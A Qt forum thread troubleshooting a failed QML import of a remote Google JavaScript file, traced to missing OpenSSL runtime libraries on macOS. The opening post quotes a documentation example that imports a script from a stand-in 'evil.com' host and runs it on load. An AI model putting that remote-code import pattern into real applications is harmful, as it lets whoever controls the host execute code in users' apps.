import a remote (from network) javascript doesn't work
Hi all,
I am trying to import a remote javascript as this example (http://doc.qt.io/qt-5/qtqml-document...nsparency.html)
Code:
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
}
However, when I try my application, I get the error : Script https://apis.google.com/js/client.js unavailable
My code:
Code:
import "https://apis.google.com/js/client.js" as GoogleApi
Is it because of https? Or I misunderstood the usage of this google API.
If I didn't explanation my question clear enough. Please kindly tell me.
Best regards,
Clark
Re: import a remote (from network) javascript doesn't work
You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.
Re: import a remote (from network) javascript doesn't work
Quote:
Originally Posted by
ChrisW67
You quite probably do not have SSL support for Qt because you have not installed/deployed OpenSSL libraries.
Hi Chris,
Thank you very much for your suggestion.
I am using Mac OS. So I try to follow this thread to solve my problem. (https://forum.qt.io/topic/55853/solv...l-and-mac-os-x)
Now, my openssl version is 1.0.2 which is up-to-date.
I also link to the ssl library by following code in my .pro file.
Code:
TEMPLATE = app
QT += qml quick widgets
SOURCES += main.cpp
RESOURCES += qml.qrc
LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl
INCLUDEPATH += /usr/local/Cellar/openssl/1.0.2d_1/include
DEPENDPATH += /usr/local/Cellar/openssl/1.0.2d_1/include
# Additional import path used to resolve QML modules in Qt Creator's code model
QML_IMPORT_PATH =
# Default rules for deployment.
include(deployment.pri)
I guess I must make some basic (stupid) mistake so I still get SSL warning when loading remote javascript from Google as below.
qt.network.ssl: QSslSocket: cannot resolve SSL_set_psk_client_callback
qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_client_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_client_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_1_server_method
qt.network.ssl: QSslSocket: cannot resolve TLSv1_2_server_method
qt.network.ssl: QSslSocket: cannot resolve SSL_select_next_proto
qt.network.ssl: QSslSocket: cannot resolve SSL_CTX_set_next_proto_select_cb
qt.network.ssl: QSslSocket: cannot resolve SSL_get0_next_proto_negotiated
QQmlApplicationEngine failed to load component
qrc:/main.qml:5 Script https://apis.google.com/js/client.js unavailable
https://apis.google.com/js/client.js:-1 Network error
Could you think of any possible mistake in my processor?
Best regards,
Clark
Re: import a remote (from network) javascript doesn't work
I am assuming that this is a binary distribution of Qt that has SSL support loosely coupled. You do not need to explicitly link the OpenSSL libraries to your app but they must be available in the run time environment of your application. I am not sure how that is arranged in the OS X world.
Re: import a remote (from network) javascript doesn't work
I solved my problem.
First of all, as Chris said. It's NOT necessary to add lib in .pro file. (LIBS += -L/usr/local/Cellar/openssl/1.0.2d_1/lib/ -lcrypto -lssl)
My problem was:
I followed this page to update my openssl (http://javigon.com/2014/04/09/update-openssl-in-osx/). However, this tutorial miss one important thing.
That is
Code:
@ brew link --force openssl.
I guess this command is important to generate needed link in the system.
For anyone who wants to solve this problem. You could also refer to http://apple.stackexchange.com/quest...penssl-in-os-x